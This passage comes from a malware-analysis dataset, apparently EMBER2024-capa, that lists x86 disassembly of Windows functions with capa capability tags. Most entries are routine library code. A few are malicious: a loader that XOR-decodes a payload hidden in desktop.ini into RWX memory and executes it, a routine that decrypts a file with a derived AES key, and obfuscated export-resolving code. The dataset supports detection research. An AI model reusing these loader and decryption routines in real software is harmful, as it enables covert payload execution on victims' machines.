joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41fc22
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x44e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00417280
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417280
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x41fc99
cmp word [ecx], dx
je 0x41fc99
mov eax, dword [0x4476a4]
push edi
dec eax
push eax
push 0x447590
call fcn.0041fbbb
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x41fd0c
cmp word [eax], dx
je 0x41fd0c
mov eax, dword [edi]
test eax, eax
je 0x41fcbd
cmp word [eax], dx
je 0x41fcbd
lea eax, [ebp - 0x10]
push eax
call fcn.0041f5a1
jmp 0x41fcc6
lea eax, [ebp - 0x10]
push eax
call fcn.0041f63c
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x41fd36
mov eax, dword [0x44758c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x447280
call fcn.0041fbbb
add esp, 0xc
test al, al
je 0x41fd36
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x41fd01
cmp word [eax], di
je 0x41fd01
lea eax, [ebp - 0x10]
push eax
call fcn.0041f5a1
pop ecx
jmp 0x41fd38
lea eax, [ebp - 0x10]
push eax
call fcn.0041f63c
jmp 0x41fcfe
mov eax, dword [edi]
test eax, eax
je 0x41fd23
cmp word [eax], dx
je 0x41fd23
lea eax, [ebp - 0x10]
push eax
call fcn.0041f556
pop ecx
jmp 0x41fd36
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x41fe01
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0041fa40
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41fe01
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x41fe01
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x41fe01
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x41fd8e
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0041878a
test ebx, ebx
je 0x41fdfc
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0041878a
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41fe01
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41fe01
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00422d0f
add esp, 0x10
xor eax, eax
inc eax
jmp 0x41fe03
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408fc5
leave
ret
Function at 0x424ac0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x424aed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x424aed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x412722
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x4186e0], 0
push ebx
push esi
mov esi, 0x4186e8
jne 0x41274e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x418700], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4186e0], 1
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x4127eb
push 0x14
push 8
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x412815
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4186e4]
test eax, eax
je 0x412790
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x4186e4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x41281a
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x412815
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x46fb68
Capabilities:
Encode data using xor

Disassembly:
push esi
pushfd
pushfd
lea esp, [esp + 0x18]
je 0x47010e
push edi
inc di
add dword [ebp - 4], ecx
shrd di, bp, cl
shrd edi, ebp, cl
clc
sub ecx, 8
pop edi
ror edi, cl
inc bh
shr ecx, 1
push 0x63311037
not bl
adc di, bx
rol di, cl
mov edi, dword [esi]
not bh
add edi, dword [ebp + 0x10]
bts bx, 2
shrd bx, bx, 1
call fcn.0046b850
or eax, 0xd9405506
and al, 0xea
inc edx
xor al, 0x3b
outsb dx, byte [esi]
pop edi
imul ebx, ebp, 0x9e15e966
dec edx
inc eax
push 0x12
push ss
pop ebp
shl dword [ebx + 0x4f], cl
adc byte [esi], dl
sar byte [esi - 0x25e46908], 1
add al, 0x61
jo 0x46fb7d
movsd dword es:[edi], dword [esi]
daa
fild dword [eax - 8]
popal
mov bl, 0x93
xchg ebx, eax
mov ebx, dword [esi]
insd dword es:[edi], dx
or eax, 0x5f6dcf5a
jle 0x46fbde
cmp dword [edx - 0x4e5e49d9], ebp
sbb dword [esp + esi*2 + 0x4b558e40], ecx
in al, dx
dec esi
inc ebp
pop ds
int1
clc
dec ebp
dec ebp
test eax, 0xe266e617
inc ecx
loopne 0x46fb89
call 0x503afc26
out dx, al
pop ebx
pop edx
cmpsd dword [esi], dword es:[edi]
pop esp
lodsd eax, dword [esi]
lcall 0xf0fc, 0x30e9c4cd
jb 0x46fc41
test al, 0x7b
sub al, 0xa5
wait
test al, 0xfe
push edx
lds esi, [eax - 0x7c]
add eax, 0x51f77621
push es
mov ch, byte [ebx - 0x6f388b04]
adc eax, 0xdc542b3b
pushal
in eax, dx
pop ebp
dec edx
sbb eax, 0xc0a0a114
wait
jge 0xa28775af
outsd dx, dword [esi]
xor al, 0xb9
add al, byte [edi]
adc dword [edx], esi
scasb al, byte es:[edi]
jb 0x46fcb1
salc
xor byte [eax + 0x59901a4d], bh
shl dword [ebp - 0xc], 1
inc ecx
shl dword [ebp - 0x11], 1
sbb dword [esi + 0x6779ec6d], eax
cmc
bnd jno 0x46fcdb
push edi
fdivr qword [ebx - 0x1c]
out dx, eax
ret
insb byte es:[edi], dx
popal
jne 0x46fcf9
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx], ah
cmpsd dword [esi], dword es:[edi]
adc eax, 0xea24da88
mov edx, 0x999267e1
in al, 0x6f
mov bh, 0xb9
clc
int1
sahf
invalid
jecxz 0x46fcba
pop ds
or al, 0x34
arpl bp, sp
adc byte [esp + edi*8 + 0x1833968], dl
adc ah, byte [esi]
lcall 0xb77, 0x702b189e
cld
push 0x12018339
lcall 0xb77, 0x702b189e
jle 0x46fc80
mov dh, 0xe1
sbb word [ebx], sp
loope 0x46fd32
sbb dword [ebx], esp
cld
xchg ebp, eax
sub dword [eax], 0xf160a444
push esi
shr dl, 1
call 0x86337a91
loope 0x46fc9e
jge 0x46fcc9
test ecx, esp
mov esi, 0x3ec852b0
fucom st(2)
mov al, 0x52
enter 0xffffffffffffdd3e, 0xffffffffffffffe2
je 0x46fd1c
push ebp
sbb esi, dword [edx + 0x104750b9]
sbb dh, byte [eax]
and ch, byte [ebp + 0x36]
cmp dword [eax + ecx*2], edx
xchg esi, eax
push esp
stosb byte es:[edi], al
adc byte [edi + 0x48], al
bndstx [edi - 0x29], bnd0
leave
push es
xchg dword [ebx], edx
imul eax, dword [ebx + 0x59560dfe], 0x894b40e2
loop 0x46fcf1
jne 0x46fd16
add al, 0x9e
leave
mov esi, 0x6b6ef3fe
jle 0x46fd03
out 0x12, al
jg 0x46fd86
adc bh, byte [edi + 0x66]
loopne 0x46fd3c
push es
sar byte [edx + 0x36aab3aa], cl
mov esi, 0x4277fa26
rcr dword [esi], 0xd
pop esi
ljmp 0xaeb8:0xe7468195
xchg edi, eax
mov ch, 0x52
lahf
pushfd
setno ah
mov eax, 0xf4d8
push dword [esp]
xchg dword [esp + 4], eax
bswap ax
mov dword [esp], 0
mov eax, ebx
lea eax, sym.imp.kernel32.dll_LocalAlloc
call fcn.00476d43
stc
Function at 0x472152
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [ebp - 0x10], ecx
and cx, ax
setp ch
not ch
mov ecx, dword [ebp + 0xc]
cmc
pushal
cmp ecx, 0xffff
call fcn.004b9756
call fcn.0046b0a8
mov byte [esp], 0xc2
call fcn.00487279
mov byte [esp], 0xec
lea esp, [esp + 4]
je 0x470da9
shr dh, cl
bts si, sp
mov esi, dword [eax + 0x3c]
pushal
add esi, eax
bsf dx, sp
mov word [esp], sp
mov edx, dword [esi + 0x78]
lea esp, [esp + 0x20]
jbe 0x4b92e8
pushfd
cmp sp, 0x3e56
test edx, edx
call fcn.0046ce5a
jmp dword [sym.imp.kernel32.dll_GetVersion]
push 0x9380dbcc
push 0x794eb676
test al, bh
test edx, edx
lea esp, [esp + 8]
jl 0x46e0ed
pushfd
push edx
mov byte [esp + 4], 0x23
lea esp, [esp + 8]
je 0x470da9
setge ch
setge ch
mov ecx, ebx
add edx, eax
add cx, bx
sete cl
shrd ecx, ebp, cl
mov ecx, dword [esi + 0x7c]
test bl, ah
pushal
bt ax, bp
add ecx, edx
cmc
jmp 0x46bbf1
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x42c570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c570]
xor eax, esi
inc ecx
dec edx
jne 0x405de4
pop edi
not eax
pop esi
ret 0xc

Function at 0x8c2128
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x8c1ea3
inc esi
add esi, edi
call fcn.008c215c
add edi, 0x6e07426c
xor dword [eax], ebx
dec esi
add esi, edi
inc eax
mov esi, esi
add esi, 0x753aa045
cmp eax, ecx
jne fcn.008c2128
sub esi, 0x172cee78
sub esi, 0xd0ff077
ret
Function at 0x10001020
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0xf0000000
xor esi, esi
lea eax, [ebp - 8]
push 0x18
push esi
push esi
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x100010f3
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x800c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100010e8
mov edx, dword [ebp + 8]
mov ecx, edx
push edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001072
push 0
sub ecx, edi
push ecx
push edx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
pop edi
test eax, eax
je 0x100010df
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 4]
push 0x6610
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x100010df
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push 0
push 1
push 0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x100010d1
mov ecx, dword [ebp + 0x14]
mov esi, 1
mov eax, dword [ebp + 0x10]
mov dword [ecx], eax
jmp 0x100010d6
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001100
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
lea eax, [ebp - 0x108]
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.10050190
add esp, 8
mov byte [eax], 0
mov eax, 0x1006a068
mov esi, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001140
lea edi, [ebp - 0x108]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10001150
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 3
push 0
mov ecx, eax
lea eax, [ebp - 0x108]
push 0
and ecx, 3
push closesocket
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x1007de08], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x1007de10], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0x1007de14
push dword [0x1007de10]
mov dword [0x1007de0c], eax
push eax
push dword [0x1007de08]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x1007de08]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
push eax
push dword [0x1007de10]
push dword [0x1007de0c]
push 0x1006a040
call fcn.10001020
add esp, 0x10
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100027b0
Capabilities:
Convert ip address from string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 8], 0x1006ccab
mov ebx, 0x1006ccab
mov dword [ebp - 4], 0x1006ccab
push dword [esi + 0x1c]
push dword [esi + 0x18]
call fcn.10032bd0
add esp, 0xc
test eax, eax
jne 0x100028ce
push edi
mov edi, dword [sym.imp.WS2_32.dll_inet_pton]
lea eax, [ebp - 0x18]
push eax
push dword [esi + 0xc]
push 0x17
call edi
cmp eax, 1
jne 0x1000280d
mov dword [ebp - 8], 0x1006ccdc
mov dword [ebp - 4], 0x1006cce0
lea eax, [ebp - 0x18]
push eax
push dword [esi]
push 0x17
call edi
cmp eax, 1
jne 0x10002828
mov ebx, 0x1006ccdc
mov edi, 0x1006cce0
jmp 0x1000282d
mov edi, 0x1006ccab
mov eax, dword [esi + 0x14]
mov ecx, 0x1006ccab
cmp eax, 8
je 0x10002855
cmp eax, 0x10
je 0x1000284e
cmp eax, 0x20
mov edx, ecx
mov eax, 0x1006cca8
cmove edx, eax
jmp 0x1000285a
mov edx, 0x1006cca4
jmp 0x1000285a
mov edx, 0x1006cca0
mov eax, dword [esi + 8]
cmp eax, 8
je 0x1000287b
cmp eax, 0x10
je 0x10002874
cmp eax, 0x20
mov eax, 0x1006cca8
cmove ecx, eax
jmp 0x10002880
mov ecx, 0x1006cca4
jmp 0x10002880
mov ecx, 0x1006cca0
push dword [esi + 0x24]
movzx eax, byte [esi + 0x20]
push eax
push dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
push dword [ebp - 0x38]
inc eax
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x28]
add eax, 0x76c
push eax
movzx eax, word [esi + 0x10]
push eax
push dword [ebp - 4]
movzx eax, word [esi + 4]
push dword [esi + 0xc]
push dword [ebp - 8]
push edx
push eax
push edi
push dword [esi]
push ebx
push ecx
push 0x1006cce4
push dword [ebp + 0xc]
call sym.libcurl.dll_curl_mfprintf
add esp, 0x50
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006cf0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1007de34]
mov dword [ebp - 8], 0x4020
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 4
test eax, eax
jne 0x10006d42
push 3
push 2
push eax
push eax
push 6
call fcn.1004d790
add esp, 0x14
test al, al
je 0x10006d36
mov dword [0x1007de34], 2
mov esp, ebp
pop ebp
ret
mov dword [0x1007de34], 1
jmp 0x10006d47
cmp eax, 2
je 0x10006d87
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x10006d6e
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jg 0x10006d87
push 4
lea eax, [ebp - 8]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esp, ebp
pop ebp
ret
Function at 0x10007620
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebx + 8]
push dword [edi + 0x14]
lea eax, [edi + 0x18]
push eax
push dword [edi + 0x98]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10007660
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
lea eax, [edi + 0xbc]
push eax
push dword [ebp + 0xc]
call fcn.10007a90
add esp, 0xc
pop edi
pop ebx
pop ebp
ret
push dword [ebp + 0xc]
mov byte [edi + 0x156], 1
push ebx
call fcn.10007880
push dword [edi + 0x118]
cmp dword [edi], 5
lea eax, [edi + 0xbc]
push eax
push dword [edi + 0x11c]
lea eax, [edi + 0xea]
mov ecx, 0x1006d574
push eax
push dword [edi + 0x98]
mov eax, 0x1006da44
cmovne eax, ecx
push eax
push 0x1006da4c
push ebx
push dword [ebp + 0xc]
call fcn.1000ffe0
push 1
push dword [edi + 0x98]
call fcn.10032720
add esp, 0x34
xor eax, eax
pop edi
pop ebx
pop ebp
ret

Function at 0x100076d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0x14]
mov eax, dword [ebx]
push 0
push dword [ebp + 0x10]
mov eax, dword [eax + 8]
push dword [ebp + 0xc]
mov dword [edi], 0
mov dword [ebp + 8], eax
push dword [eax + 0x98]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10007758
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x10007723
mov dword [edi], 0x51
jmp 0x10007755
push pe_nt_image_headers32
lea eax, [ebp - 0x100]
push eax
push esi
call fcn.100419a0
push eax
push 0x1006d720
push dword [ebx + 4]
call fcn.1000ff00
mov eax, dword [ebx + 4]
add esp, 0x18
mov dword [eax + 0x8a8], esi
mov dword [edi], 0x38
or esi, 0xffffffff
push dword [edi]
mov eax, dword [ebp + 8]
push esi
push dword [eax + 0x98]
push dword [ebp + 0x10]
push 0x1006d734
push dword [ebx]
push dword [ebx + 4]
call fcn.1000ffe0
add esp, 0x1c
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007880
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x180
push ebx
push esi
mov esi, dword [eax + 8]
push edi
mov edi, dword [esi + 0x98]
cmp edi, 0xffffffff
je 0x1000797c
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx + 0x18]
mov eax, dword [eax + 0x260]
test dword [eax + 0x48], 0x800
jne 0x1000797c
push 0x80
lea eax, [ebp - 0x80]
mov dword [ebp + 8], 0x80
push 0
push eax
call fcn.10051710
add esp, 0xc
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x80]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x1000791d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [ebp - 0x180]
push pe_nt_image_headers32
push eax
push esi
call fcn.100419a0
push eax
push esi
push 0x1006d774
push ebx
call fcn.1000ff00
add esp, 0x1c
mov eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esi + 0x11c]
push eax
lea eax, [esi + 0xea]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x80]
push eax
call fcn.10009b50
add esp, 0x10
test al, al
jne 0x1000797c
call fcn.100518f7
mov esi, eax
call fcn.100518f7
mov edi, eax
lea eax, [ebp - 0x180]
push pe_nt_image_headers32
push eax
push dword [esi]
call fcn.100419a0
push eax
push dword [edi]
push 0x1006d79c
push ebx
call fcn.1000ff00
add esp, 0x1c
mov eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007b90
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
push 4
cmp byte [esi + 0x694], al
setne al
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x10007be0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push 0x1006d5a0
push esi
call fcn.1000ffa0
add esp, 0x10
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push dword [esi + 0x630]
mov dword [ebp - 0x10], 1
call fcn.1004d9d0
push dword [esi + 0x634]
imul eax, eax, 0x3e8
mov dword [ebp + 8], eax
mov dword [ebp - 0xc], eax
call fcn.1004d9d0
add esp, 8
imul eax, eax, 0x3e8
push 0
push 0
mov dword [ebp + 8], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x10007c50
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push 0x1006d5d0
push esi
call fcn.1000ffa0
add esp, 0x10
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10007c60
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 4
lea eax, [ebp - 4]
mov dword [ebp - 4], 1
push eax
push 1
push 6
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x10007cb0
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.100419a0
push eax
push 0x1006d580
push dword [ebp + 8]
call fcn.1000ffa0
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x1000c560
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
xor edx, edx
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
add eax, esi
mov ecx, eax
sub ecx, esi
cmp esi, eax
push edi
cmova ecx, edx
mov edi, 0x1505
mov dword [ebp + 8], ecx
test ecx, ecx
je 0x1000c5a9
mov al, byte [esi]
push eax
call fcn.10041650
movsx ecx, al
lea esi, [esi + 1]
mov eax, edi
inc ebx
shl eax, 5
add esp, 4
add eax, edi
xor ecx, eax
mov edi, ecx
cmp ebx, dword [ebp + 8]
jb 0x1000c587
mov eax, 0x4104105
mov esi, edi
mul edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 5
mov ecx, esi
shl ecx, 6
sub ecx, esi
sub edi, ecx
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret